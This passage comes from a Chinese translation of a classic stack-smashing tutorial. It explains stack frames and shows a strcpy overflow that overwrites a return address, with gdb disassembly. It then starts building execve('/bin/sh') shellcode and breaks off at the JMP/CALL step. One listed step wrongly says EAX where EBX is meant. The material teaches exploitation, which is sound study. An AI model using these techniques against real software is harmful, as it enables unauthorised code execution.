堆栈由逻辑堆栈帧组成. 当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑&lt;br /&gt;堆栈帧被从栈中弹出. 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈&lt;br /&gt;帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值.   &lt;/p&gt;&lt;p class="mobile-post"&gt;    堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现. 在我&lt;br /&gt;们的例子中, 堆栈是向下增长的. 这是很多计算机的实现方式, 包括Intel, Motorola,&lt;br /&gt;SPARC和MIPS处理器. 堆栈指针(SP)也是依赖于具体实现的. 它可以指向堆栈的最后地址,&lt;br /&gt;或者指向堆栈之后的下一个空闲可用地址. 在我们的讨论当中, SP指向堆栈的最后地址.&lt;/p&gt;&lt;p class="mobile-post"&gt;    除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定&lt;br /&gt;地址的指针叫做帧指针(FP). 有些文章把它叫做局部基指针(LB-local base pointer).&lt;br /&gt;从理论上来说, 局部变量可以用SP加偏移量来引用. 然而, 当有字被压栈和出栈后, 这&lt;br /&gt;些偏移量就变了. 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移&lt;br /&gt;量, 但是在某些情况下不能. 而且在所有情况下, 要引入可观的管理开销. 而且在有些&lt;br /&gt;机器上, 比如Intel处理器, 由SP加偏移量访问一个变量需要多条指令才能实现.&lt;/p&gt;&lt;p class="mobile-post"&gt;    因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用, &lt;br /&gt;因为它们到FP的距离不会受到PUSH和POP操作的影响. 在Intel CPU中, BP(EBP)用于这&lt;br /&gt;个目的. 在Motorola CPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP.&lt;br /&gt;考虑到我们堆栈的增长方向, 从FP的位置开始计算, 函数参数的偏移量是正值, 而局部&lt;br /&gt;变量的偏移量是负值.&lt;/p&gt;&lt;p class="mobile-post"&gt;    当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以&lt;br /&gt;恢复). 然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间. 这称为&lt;br /&gt;例程的序幕(prolog)工作. 当例程退出时, 堆栈必须被清除干净, 这称为例程的收尾&lt;br /&gt;(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于&lt;br /&gt;有效地序幕和收尾工作.&lt;/p&gt;&lt;p class="mobile-post"&gt;    下面我们用一个简单的例子来展示堆栈的模样:&lt;br /&gt;    &lt;br /&gt;example1.c:&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void function(int a, int b, int c) {&lt;br /&gt;   char buffer1[5];&lt;br /&gt;   char buffer2[10];&lt;br /&gt;}&lt;/p&gt;&lt;p class="mobile-post"&gt;void main() {&lt;br /&gt;  function(1,2,3);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------  &lt;br /&gt;                          &lt;br /&gt; &lt;br /&gt;    为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产&lt;br /&gt;生汇编代码输出:&lt;/p&gt;&lt;p class="mobile-post"&gt;$ gcc -S -o example1.s example1.c&lt;/p&gt;&lt;p class="mobile-post"&gt;    通过查看汇编语言输出, 我们看到对function()的调用被翻译成:&lt;/p&gt;&lt;p class="mobile-post"&gt;        pushl $3&lt;br /&gt;        pushl $2&lt;br /&gt;        pushl $1&lt;br /&gt;        call function&lt;br /&gt;  &lt;br /&gt;    以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call&lt;br /&gt;会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所做&lt;br /&gt;的第一件事情是例程的序幕工作:&lt;/p&gt;&lt;p class="mobile-post"&gt;        pushl %ebp&lt;br /&gt;        movl %esp,%ebp&lt;br /&gt;        subl $20,%esp&lt;/p&gt;&lt;p class="mobile-post"&gt;    将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这&lt;br /&gt;个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间.&lt;/p&gt;&lt;p class="mobile-post"&gt;    我们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节&lt;br /&gt;的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)&lt;br /&gt;的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时&lt;br /&gt;堆栈的模样(每个空格代表一个字节):&lt;/p&gt;&lt;p class="mobile-post"&gt;内存低地址                                                         内存高地址&lt;br /&gt;                                                              &lt;br /&gt;           buffer2       buffer1   sfp   ret   a     b     c&lt;br /&gt;&amp;lt;------   [            ][        ][    ][    ][    ][    ][    ]&lt;br /&gt;           &lt;br /&gt;堆栈顶部                                                            堆栈底部&lt;br /&gt;                                                             &lt;/p&gt;&lt;p class="mobile-post"&gt;                                  &lt;br /&gt;                                   缓冲区溢出&lt;br /&gt;                                  ~~~~~~~~~~~~&lt;br /&gt;    缓冲区溢出是向一个缓冲区填充超过它处理能力的数据所造成的结果. 如何利用这个&lt;br /&gt;经常出现的编程错误来执行任意代码呢? 让我们来看看另一个例子:&lt;/p&gt;&lt;p class="mobile-post"&gt;example2.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void function(char *str) {&lt;br /&gt;   char buffer[16];&lt;/p&gt;&lt;p class="mobile-post"&gt;   strcpy(buffer,str);&lt;br /&gt;}&lt;/p&gt;&lt;p class="mobile-post"&gt;void main() {&lt;br /&gt;  char large_string[256];&lt;br /&gt;  int i;&lt;/p&gt;&lt;p class="mobile-post"&gt;  for( i = 0; i &amp;lt; 255; i++)&lt;br /&gt;    large_string[i] = 'A';&lt;/p&gt;&lt;p class="mobile-post"&gt;  function(large_string);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;    这个程序的函数含有一个典型的内存缓冲区编码错误. 该函数没有进行边界检查就复&lt;br /&gt;制提供的字符串, 错误地使用了strcpy()而没有使用strncpy(). 如果你运行这个程序就&lt;br /&gt;会产生段错误. 让我们看看在调用函数时堆栈的模样:&lt;/p&gt;&lt;p class="mobile-post"&gt;内存低地址                                                         内存高地址&lt;/p&gt;&lt;p class="mobile-post"&gt;                  buffer            sfp   ret   *str&lt;br /&gt;&amp;lt;------          [                ][    ][    ][    ]   &lt;/p&gt;&lt;p class="mobile-post"&gt;堆栈顶部                                                            堆栈底部&lt;/p&gt;&lt;p class="mobile-post"&gt;    这里发生了什么事? 为什么我们得到一个段错误? 答案很简单: strcpy()将*str的&lt;br /&gt;内容(larger_string[])复制到buffer[]里, 直到在字符串中碰到一个空字符. 显然, &lt;br /&gt;buffer[]比*str小很多. buffer[]只有16个字节长, 而我们却试图向里面填入256个字节&lt;br /&gt;的内容. 这意味着在buffer之后, 堆栈中250个字节全被覆盖. 包括SFP, RET, 甚至*str!&lt;br /&gt;我们已经把large_string全都填成了A. A的十六进制值为0x41. 这意味着现在的返回地&lt;br /&gt;址是0x41414141. 这已经在进程的地址空间之外了. 当函数返回时, 程序试图读取返回&lt;br /&gt;地址的下一个指令, 此时我们就得到一个段错误.&lt;/p&gt;&lt;p class="mobile-post"&gt;    因此缓冲区溢出允许我们更改函数的返回地址. 这样我们就可以改变程序的执行流程.&lt;br /&gt;现在回到第一个例子, 回忆当时堆栈的模样: &lt;/p&gt;&lt;p class="mobile-post"&gt;内存低地址                                                         内存高地址&lt;br /&gt;                                                              &lt;br /&gt;           buffer2       buffer1   sfp   ret   a     b     c&lt;br /&gt;&amp;lt;------   [            ][        ][    ][    ][    ][    ][    ]&lt;br /&gt;           &lt;br /&gt;堆栈顶部                                                            堆栈底部&lt;/p&gt;&lt;p class="mobile-post"&gt;    现在试着修改我们第一个例子, 让它可以覆盖返回地址, 而且使它可以执行任意代码.&lt;br /&gt;堆栈中在buffer1[]之前的是SFP, SFP之前是返回地址. ret从buffer1[]的结尾算起是4个&lt;br /&gt;字节.应该记住的是buffer1[]实际上是2个字即8个字节长. 因此返回地址从buffer1[]的开&lt;br /&gt;头算起是12个字节. 我们会使用这种方法修改返回地址, 跳过函数调用后面的赋值语句&lt;br /&gt;'x=1;', 为了做到这一点我们把返回地址加上8个字节. 代码看起来是这样的:&lt;/p&gt;&lt;p class="mobile-post"&gt;example3.c:&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void function(int a, int b, int c) {&lt;br /&gt;   char buffer1[5];&lt;br /&gt;   char buffer2[10];&lt;br /&gt;   int *ret;&lt;/p&gt;&lt;p class="mobile-post"&gt;   ret = buffer1 + 12;&lt;br /&gt;   (*ret) += 8;&lt;br /&gt;}&lt;/p&gt;&lt;p class="mobile-post"&gt;void main() {&lt;br /&gt;  int x;&lt;/p&gt;&lt;p class="mobile-post"&gt;  x = 0;&lt;br /&gt;  function(1,2,3);&lt;br /&gt;  x = 1;&lt;br /&gt;  printf("%d\n",x);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    我们把buffer1[]的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过&lt;br /&gt;赋值语句而直接执行printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用&lt;br /&gt;过一个试验值(比如1), 编译该程序, 祭出工具gdb:&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ gdb example3&lt;br /&gt;GDB is free software and you are welcome to distribute copies of it&lt;br /&gt; under certain conditions; type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB; type "show warranty" for details.&lt;br /&gt;GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...&lt;br /&gt;(no debugging symbols found)...&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x8000490 &amp;lt;main&amp;gt;:       pushl  %ebp&lt;br /&gt;0x8000491 &amp;lt;main+1&amp;gt;:     movl   %esp,%ebp&lt;br /&gt;0x8000493 &amp;lt;main+3&amp;gt;:     subl   $0x4,%esp&lt;br /&gt;0x8000496 &amp;lt;main+6&amp;gt;:     movl   $0x0,0xfffffffc(%ebp)&lt;br /&gt;0x800049d &amp;lt;main+13&amp;gt;:    pushl  $0x3&lt;br /&gt;0x800049f &amp;lt;main+15&amp;gt;:    pushl  $0x2&lt;br /&gt;0x80004a1 &amp;lt;main+17&amp;gt;:    pushl  $0x1&lt;br /&gt;0x80004a3 &amp;lt;main+19&amp;gt;:    call   0x8000470 &amp;lt;function&amp;gt;&lt;br /&gt;0x80004a8 &amp;lt;main+24&amp;gt;:    addl   $0xc,%esp&lt;br /&gt;0x80004ab &amp;lt;main+27&amp;gt;:    movl   $0x1,0xfffffffc(%ebp)&lt;br /&gt;0x80004b2 &amp;lt;main+34&amp;gt;:    movl   0xfffffffc(%ebp),%eax&lt;br /&gt;0x80004b5 &amp;lt;main+37&amp;gt;:    pushl  %eax&lt;br /&gt;0x80004b6 &amp;lt;main+38&amp;gt;:    pushl  $0x80004f8&lt;br /&gt;0x80004bb &amp;lt;main+43&amp;gt;:    call   0x8000378 &amp;lt;printf&amp;gt;&lt;br /&gt;0x80004c0 &amp;lt;main+48&amp;gt;:    addl   $0x8,%esp&lt;br /&gt;0x80004c3 &amp;lt;main+51&amp;gt;:    movl   %ebp,%esp&lt;br /&gt;0x80004c5 &amp;lt;main+53&amp;gt;:    popl   %ebp&lt;br /&gt;0x80004c6 &amp;lt;main+54&amp;gt;:    ret&lt;br /&gt;0x80004c7 &amp;lt;main+55&amp;gt;:    nop&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab的赋值&lt;br /&gt;指令. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节.&lt;/p&gt;&lt;p class="mobile-post"&gt;                                  Shell Code&lt;br /&gt;                                  ~~~~~~~~~~&lt;br /&gt;    现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢?&lt;br /&gt;在大多数情况下我们只是希望程序派生出一个shell. 从这个shell中, 可以执行任何我&lt;br /&gt;们所希望的命令. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们&lt;br /&gt;怎么样才能将任意指令放到程序的地址空间中去呢? 答案就是把想要执行的代码放到我&lt;br /&gt;们想使其溢出的缓冲区里, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈&lt;br /&gt;的起始地址为0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:&lt;/p&gt;&lt;p class="mobile-post"&gt;内存低     DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存高&lt;br /&gt;地址       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     地址&lt;br /&gt;           buffer                sfp   ret   a     b     c&lt;/p&gt;&lt;p class="mobile-post"&gt;&amp;lt;------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]&lt;br /&gt;           ^                            |&lt;br /&gt;           |____________________________|&lt;br /&gt;堆栈顶部                                                          堆栈底部&lt;br /&gt;                                                                &lt;br /&gt;    派生出一个shell的C语言代码是这样的:&lt;br /&gt;  &lt;br /&gt;shellcode.c&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/p&gt;&lt;p class="mobile-post"&gt;void main() {&lt;br /&gt;   char *name[2];&lt;/p&gt;&lt;p class="mobile-post"&gt;   name[0] = "/bin/sh";&lt;br /&gt;   name[1] = NULL;&lt;br /&gt;   execve(name[0], name, NULL);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;    为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住&lt;br /&gt;在编译的时候要使用-static标志, 否则系统调用execve的真实代码就不会包括在汇编中,&lt;/p&gt;&lt;p class="mobile-post"&gt;取而代之的是对动态C语言库的一个引用, 真正的代码要到程序加载的时候才会联入.&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c&lt;br /&gt;[aleph1]$ gdb shellcode&lt;br /&gt;GDB is free software and you are welcome to distribute copies of it&lt;br /&gt; under certain conditions; type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB; type "show warranty" for details.&lt;br /&gt;GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x8000130 &amp;lt;main&amp;gt;:       pushl  %ebp&lt;br /&gt;0x8000131 &amp;lt;main+1&amp;gt;:     movl   %esp,%ebp&lt;br /&gt;0x8000133 &amp;lt;main+3&amp;gt;:     subl   $0x8,%esp&lt;br /&gt;0x8000136 &amp;lt;main+6&amp;gt;:     movl   $0x80027b8,0xfffffff8(%ebp)&lt;br /&gt;0x800013d &amp;lt;main+13&amp;gt;:    movl   $0x0,0xfffffffc(%ebp)&lt;br /&gt;0x8000144 &amp;lt;main+20&amp;gt;:    pushl  $0x0&lt;br /&gt;0x8000146 &amp;lt;main+22&amp;gt;:    leal   0xfffffff8(%ebp),%eax&lt;br /&gt;0x8000149 &amp;lt;main+25&amp;gt;:    pushl  %eax&lt;br /&gt;0x800014a &amp;lt;main+26&amp;gt;:    movl   0xfffffff8(%ebp),%eax&lt;br /&gt;0x800014d &amp;lt;main+29&amp;gt;:    pushl  %eax&lt;br /&gt;0x800014e &amp;lt;main+30&amp;gt;:    call   0x80002bc &amp;lt;__execve&amp;gt;&lt;br /&gt;0x8000153 &amp;lt;main+35&amp;gt;:    addl   $0xc,%esp&lt;br /&gt;0x8000156 &amp;lt;main+38&amp;gt;:    movl   %ebp,%esp&lt;br /&gt;0x8000158 &amp;lt;main+40&amp;gt;:    popl   %ebp&lt;br /&gt;0x8000159 &amp;lt;main+41&amp;gt;:    ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) disassemble __execve&lt;br /&gt;Dump of assembler code for function __execve:&lt;br /&gt;0x80002bc &amp;lt;__execve&amp;gt;:   pushl  %ebp&lt;br /&gt;0x80002bd &amp;lt;__execve+1&amp;gt;: movl   %esp,%ebp&lt;br /&gt;0x80002bf &amp;lt;__execve+3&amp;gt;: pushl  %ebx&lt;br /&gt;0x80002c0 &amp;lt;__execve+4&amp;gt;: movl   $0xb,%eax&lt;br /&gt;0x80002c5 &amp;lt;__execve+9&amp;gt;: movl   0x8(%ebp),%ebx&lt;br /&gt;0x80002c8 &amp;lt;__execve+12&amp;gt;:        movl   0xc(%ebp),%ecx&lt;br /&gt;0x80002cb &amp;lt;__execve+15&amp;gt;:        movl   0x10(%ebp),%edx&lt;br /&gt;0x80002ce &amp;lt;__execve+18&amp;gt;:        int    $0x80&lt;br /&gt;0x80002d0 &amp;lt;__execve+20&amp;gt;:        movl   %eax,%edx&lt;br /&gt;0x80002d2 &amp;lt;__execve+22&amp;gt;:        testl  %edx,%edx&lt;br /&gt;0x80002d4 &amp;lt;__execve+24&amp;gt;:        jnl    0x80002e6 &amp;lt;__execve+42&amp;gt;&lt;br /&gt;0x80002d6 &amp;lt;__execve+26&amp;gt;:        negl   %edx&lt;br /&gt;0x80002d8 &amp;lt;__execve+28&amp;gt;:        pushl  %edx&lt;br /&gt;0x80002d9 &amp;lt;__execve+29&amp;gt;:        call   0x8001a34 &amp;lt;__normal_errno_location&amp;gt;&lt;/p&gt;&lt;p class="mobile-post"&gt;0x80002de &amp;lt;__execve+34&amp;gt;:        popl   %edx&lt;br /&gt;0x80002df &amp;lt;__execve+35&amp;gt;:        movl   %edx,(%eax)&lt;br /&gt;0x80002e1 &amp;lt;__execve+37&amp;gt;:        movl   $0xffffffff,%eax&lt;br /&gt;0x80002e6 &amp;lt;__execve+42&amp;gt;:        popl   %ebx&lt;br /&gt;0x80002e7 &amp;lt;__execve+43&amp;gt;:        movl   %ebp,%esp&lt;br /&gt;0x80002e9 &amp;lt;__execve+45&amp;gt;:        popl   %ebp&lt;br /&gt;0x80002ea &amp;lt;__execve+46&amp;gt;:        ret&lt;br /&gt;0x80002eb &amp;lt;__execve+47&amp;gt;:        nop&lt;br /&gt;End of assembler dump.&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    下面我们看看这里究竟发生了什么事情. 先从main开始研究:&lt;br /&gt;    &lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;0x8000130 &amp;lt;main&amp;gt;:       pushl  %ebp&lt;br /&gt;0x8000131 &amp;lt;main+1&amp;gt;:     movl   %esp,%ebp&lt;br /&gt;0x8000133 &amp;lt;main+3&amp;gt;:     subl   $0x8,%esp&lt;/p&gt;&lt;p class="mobile-post"&gt;        这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针,&lt;br /&gt;        然后为局部变量保留空间. 这里是:&lt;br /&gt;        &lt;br /&gt;        char *name[2];&lt;br /&gt;        &lt;br /&gt;        即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节)的&lt;br /&gt;        空间.&lt;br /&gt;        &lt;br /&gt;0x8000136 &amp;lt;main+6&amp;gt;:     movl   $0x80027b8,0xfffffff8(%ebp)&lt;/p&gt;&lt;p class="mobile-post"&gt;        我们把0x80027b8(字串"/bin/sh"的地址)这个值复制到name[]中的第一个指针, 这&lt;br /&gt;        等价于:  &lt;br /&gt;        &lt;br /&gt;        name[0] = "/bin/sh";&lt;br /&gt;        &lt;br /&gt;0x800013d &amp;lt;main+13&amp;gt;:    movl   $0x0,0xfffffffc(%ebp)                            &lt;br /&gt;                                                        &lt;br /&gt;       &lt;br /&gt;        我们把值0x0(NULL)复制到name[]中的第二个指针, 这等价于:&lt;br /&gt;        &lt;br /&gt;        name[1] = NULL;&lt;br /&gt;        &lt;br /&gt;        对execve()的真正调用从下面开始:&lt;br /&gt;        &lt;/p&gt;&lt;p class="mobile-post"&gt;0x8000144 &amp;lt;main+20&amp;gt;:    pushl  $0x0&lt;/p&gt;&lt;p class="mobile-post"&gt;        我们把execve()的参数以从后向前的顺序压入堆栈中, 这里从NULL开始.&lt;br /&gt;        &lt;br /&gt;0x8000146 &amp;lt;main+22&amp;gt;:    leal   0xfffffff8(%ebp),%eax&lt;/p&gt;&lt;p class="mobile-post"&gt;        把name[]的地址放到EAX寄存器中.&lt;br /&gt;        &lt;br /&gt;0x8000149 &amp;lt;main+25&amp;gt;:    pushl  %eax&lt;/p&gt;&lt;p class="mobile-post"&gt;        接着就把name[]的地址压入堆栈中.&lt;br /&gt;        &lt;br /&gt;0x800014a &amp;lt;main+26&amp;gt;:    movl   0xfffffff8(%ebp),%eax&lt;br /&gt;        &lt;br /&gt;        把字串"/bin/sh"的地址放到EAX寄存器中&lt;br /&gt;        &lt;br /&gt;0x800014d &amp;lt;main+29&amp;gt;:    pushl  %eax&lt;/p&gt;&lt;p class="mobile-post"&gt;        接着就把字串"/bin/sh"的地址压入堆栈中&lt;br /&gt;        &lt;br /&gt;0x800014e &amp;lt;main+30&amp;gt;:    call   0x80002bc &amp;lt;__execve&amp;gt;&lt;/p&gt;&lt;p class="mobile-post"&gt;        调用库例程execve(). 这个调用指令把IP(指令指针)压入堆栈中.&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    现在到了execve(). 要注意我们使用的是基于Intel的Linux系统. 系统调用的细节随&lt;br /&gt;操作系统和CPU的不同而不同. 有的把参数压入堆栈中, 有的保存在寄存器里. 有的使用&lt;br /&gt;软中断跳入内核模式, 有的使用远调用(far call). Linux把传给系统调用的参数保存在&lt;br /&gt;寄存器里, 并且使用软中断跳入内核模式.           &lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;0x80002bc &amp;lt;__execve&amp;gt;:   pushl  %ebp&lt;br /&gt;0x80002bd &amp;lt;__execve+1&amp;gt;: movl   %esp,%ebp&lt;br /&gt;0x80002bf &amp;lt;__execve+3&amp;gt;: pushl  %ebx&lt;/p&gt;&lt;p class="mobile-post"&gt;        例程的准备工作.&lt;br /&gt;        &lt;br /&gt;0x80002c0 &amp;lt;__execve+4&amp;gt;: movl   $0xb,%eax&lt;/p&gt;&lt;p class="mobile-post"&gt;        把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈). 0xb是系统调用表的索引&lt;br /&gt;        11就是execve.&lt;/p&gt;&lt;p class="mobile-post"&gt;0x80002c5 &amp;lt;__execve+9&amp;gt;: movl   0x8(%ebp),%ebx&lt;/p&gt;&lt;p class="mobile-post"&gt;        把"/bin/sh"的地址放到寄存器EBX中.&lt;/p&gt;&lt;p class="mobile-post"&gt;0x80002c8 &amp;lt;__execve+12&amp;gt;:        movl   0xc(%ebp),%ecx&lt;/p&gt;&lt;p class="mobile-post"&gt;        把name[]的地址放到寄存器ECX中.&lt;br /&gt;        &lt;br /&gt;0x80002cb &amp;lt;__execve+15&amp;gt;:        movl   0x10(%ebp),%edx&lt;/p&gt;&lt;p class="mobile-post"&gt;        把空指针的地址放到寄存器EDX中.&lt;/p&gt;&lt;p class="mobile-post"&gt;0x80002ce &amp;lt;__execve+18&amp;gt;:        int    $0x80&lt;/p&gt;&lt;p class="mobile-post"&gt;        进入内核模式.&lt;br /&gt;------------------------------------------------------------------------------  &lt;br /&gt;                                 &lt;/p&gt;&lt;p class="mobile-post"&gt;    由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下:&lt;br /&gt;    &lt;br /&gt;        a) 把以NULL结尾的字串"/bin/sh"放到内存某处.&lt;br /&gt;        b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word)&lt;br /&gt;. &lt;br /&gt;        c) 把0xb放到寄存器EAX中.&lt;br /&gt;        d) 把字串"/bin/sh"的地址放到寄存器EBX中.&lt;br /&gt;        e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.&lt;br /&gt;        (注: 原文d和e步骤把EBX和ECX弄反了)&lt;br /&gt;        f) 把空长字的地址放到寄存器EDX中.&lt;br /&gt;        g) 执行指令int $0x80. &lt;br /&gt;        &lt;br /&gt;    但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令, &lt;br /&gt;这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execv&lt;br /&gt;e&lt;br /&gt;调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit&lt;br /&gt;系统调用. exit系统调用在汇编语言看起来象什么呢?&lt;/p&gt;&lt;p class="mobile-post"&gt;exit.c&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/p&gt;&lt;p class="mobile-post"&gt;void main() {&lt;br /&gt;        exit(0);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt; &lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;[aleph1]$ gcc -o exit -static exit.c&lt;br /&gt;[aleph1]$ gdb exit&lt;br /&gt;GDB is free software and you are welcome to distribute copies of it&lt;br /&gt; under certain conditions; type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB; type "show warranty" for details.&lt;br /&gt;GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...&lt;br /&gt;(no debugging symbols found)...&lt;br /&gt;(gdb) disassemble _exit&lt;br /&gt;Dump of assembler code for function _exit:&lt;br /&gt;0x800034c &amp;lt;_exit&amp;gt;:      pushl  %ebp&lt;br /&gt;0x800034d &amp;lt;_exit+1&amp;gt;:    movl   %esp,%ebp&lt;br /&gt;0x800034f &amp;lt;_exit+3&amp;gt;:    pushl  %ebx&lt;br /&gt;0x8000350 &amp;lt;_exit+4&amp;gt;:    movl   $0x1,%eax&lt;br /&gt;0x8000355 &amp;lt;_exit+9&amp;gt;:    movl   0x8(%ebp),%ebx&lt;br /&gt;0x8000358 &amp;lt;_exit+12&amp;gt;:   int    $0x80&lt;br /&gt;0x800035a &amp;lt;_exit+14&amp;gt;:   movl   0xfffffffc(%ebp),%ebx&lt;br /&gt;0x800035d &amp;lt;_exit+17&amp;gt;:   movl   %ebp,%esp&lt;br /&gt;0x800035f &amp;lt;_exit+19&amp;gt;:   popl   %ebp&lt;br /&gt;0x8000360 &amp;lt;_exit+20&amp;gt;:   ret&lt;br /&gt;0x8000361 &amp;lt;_exit+21&amp;gt;:   nop&lt;br /&gt;0x8000362 &amp;lt;_exit+22&amp;gt;:   nop&lt;br /&gt;0x8000363 &amp;lt;_exit+23&amp;gt;:   nop&lt;br /&gt;End of assembler dump.&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    系统调用exit会把0x1放到寄存器EAX中, 在EBX中放置退出码, 并且执行"int 0x80".&lt;br /&gt;就这些了! 大多数应用程序在退出时返回0, 以表示没有错误. 我们在EBX中也放入0. 现&lt;br /&gt;在我们构造shell code的步骤就是这样的了:&lt;/p&gt;&lt;p class="mobile-post"&gt;        a) 把以NULL结尾的字串"/bin/sh"放到内存某处.&lt;br /&gt;        b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word)&lt;br /&gt;. &lt;br /&gt;        c) 把0xb放到寄存器EAX中.&lt;br /&gt;        d) 把字串"/bin/sh"的地址放到寄存器EBX中.&lt;br /&gt;        e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.&lt;br /&gt;        (注: 原文d和e步骤把EBX和ECX弄反了)&lt;br /&gt;        f) 把空长字的地址放到寄存器EDX中.&lt;br /&gt;        g) 执行指令int $0x80.&lt;br /&gt;        h) 把0x1放到寄存器EAX中.&lt;br /&gt;        i) 把0x0放到寄存器EAX中.&lt;br /&gt;        j) 执行指令int $0x80.  &lt;br /&gt;        &lt;br /&gt;    试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串&lt;br /&gt;地址和空字, 我们有如下的代码:&lt;/p&gt;&lt;p class="mobile-post"&gt;------------------------------------------------------------------------------&lt;br /&gt;        movl   string_addr,string_addr_addr&lt;br /&gt;        movb   $0x0,null_byte_addr&lt;br /&gt;        movl   $0x0,null_addr&lt;br /&gt;        movl   $0xb,%eax&lt;br /&gt;        movl   string_addr,%ebx&lt;br /&gt;        leal   string_addr,%ecx&lt;br /&gt;        leal   null_string,%edx&lt;br /&gt;        int    $0x80&lt;br /&gt;        movl   $0x1, %eax&lt;br /&gt;        movl   $0x0, %ebx&lt;br /&gt;        int    $0x80&lt;br /&gt;        /bin/sh string goes here.&lt;br /&gt;------------------------------------------------------------------------------&lt;/p&gt;&lt;p class="mobile-post"&gt;    问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到&lt;br /&gt;哪里. 一种解决方法是使用JMP和CALL指令. JMP和CALL指令使用相对IP的寻址方式, 也就&lt;br /&gt;是说我们可以跳到距离当前IP一定间距的某个位置, 而不必知道那个位置在内存中的确切&lt;br /&gt;地址. 如果我们在字串"/bin/sh"之前放一个CALL指令, 并由一个JMP指令转到CALL指令上.&lt;br /&gt;当CALL指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是&lt;br /&gt;把返回地址放到一个寄存器之中. 